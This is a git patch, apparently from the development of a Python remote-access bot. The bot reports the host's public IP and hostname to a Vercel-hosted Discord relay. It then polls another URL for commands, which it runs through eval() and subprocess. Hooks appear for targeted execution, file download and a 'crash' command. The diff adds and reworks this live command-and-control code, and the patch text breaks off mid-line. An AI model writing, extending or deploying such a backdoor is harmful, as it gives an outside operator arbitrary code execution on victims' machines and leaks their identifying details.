From ad81e6f3c23075b2c7e562a0bd284814c1045d90 Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Fri, 1 Sep 2023 09:43:25 +0800 Subject: multi file upload --- main.py | 109 ++++++++++++++++++++++++++++++++++------------------------------ 1 file changed, 58 insertions(+), 51 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 1d4b8bf..103c6e4 100644 --- a/main.py +++ b/main.py @@ -1,26 +1,19 @@ -try: - from os import system as ossystem - from requests import get, post - from time import sleep - from subprocess import Popen as system - from subprocess import PIPE - from os import chdir, uname - from sys import platform +from os import system as ossystem +from requests import get, post +from time import sleep +from subprocess import Popen as system +from subprocess import PIPE +from os import chdir, uname +from sys import platform +import os - old_command = "" - command = "" - loop = 0 +old_command = "" +command = "" +loop = 0 - ip = get('https://api.ipify.org').content.decode('utf8') - hostname = uname()[1] - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") -except KeyboardInterrupt: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``") - pass - except KeyboardInterrupt: - pass - pass +ip = get('https://api.ipify.org').content.decode('utf8') +hostname = uname()[1] +post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`") while True: @@ -32,7 +25,9 @@ while True: try: #get HTML try: - command = get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode() + commandGet = eval(get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode()) + commandId = commandGet[0] + command = commandGet[1] if command.startswith('Error: 429 - {"message": "You are being rate limited.", "retry_after":'): try: sleep(5) @@ -51,7 +46,7 @@ while True: sleep(3) continue localcmd = None - if old_command != command: + if old_command != commandId: try: if command == "": old_command = "" @@ -61,13 +56,25 @@ while True: else: loop = 1 continue + if command == "None": + old_command = "" + continue + if command.startswith("webfile "): + localcmd = command.split(maxsplit=1) + files = eval(localcmd[1]) + #for fileUrl in files: + # print(fileUrl) + old_command = commandId + #filename = os.path.basename(localcmd[1]) + #print(filename) + #ossystem("touch " + filename[0] + filename[1]) if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: del localcmd[:2] localcmd = ' '.join(localcmd) else: - old_command = command + old_command = commandId continue if command.startswith("exeos "): localcmd = command.split() @@ -75,17 +82,17 @@ while True: del localcmd[:2] localcmd = ' '.join(localcmd) else: - old_command = command + old_command = commandId continue - if command.startswith("crash"): - from os import fork - command = command.split() - if command[1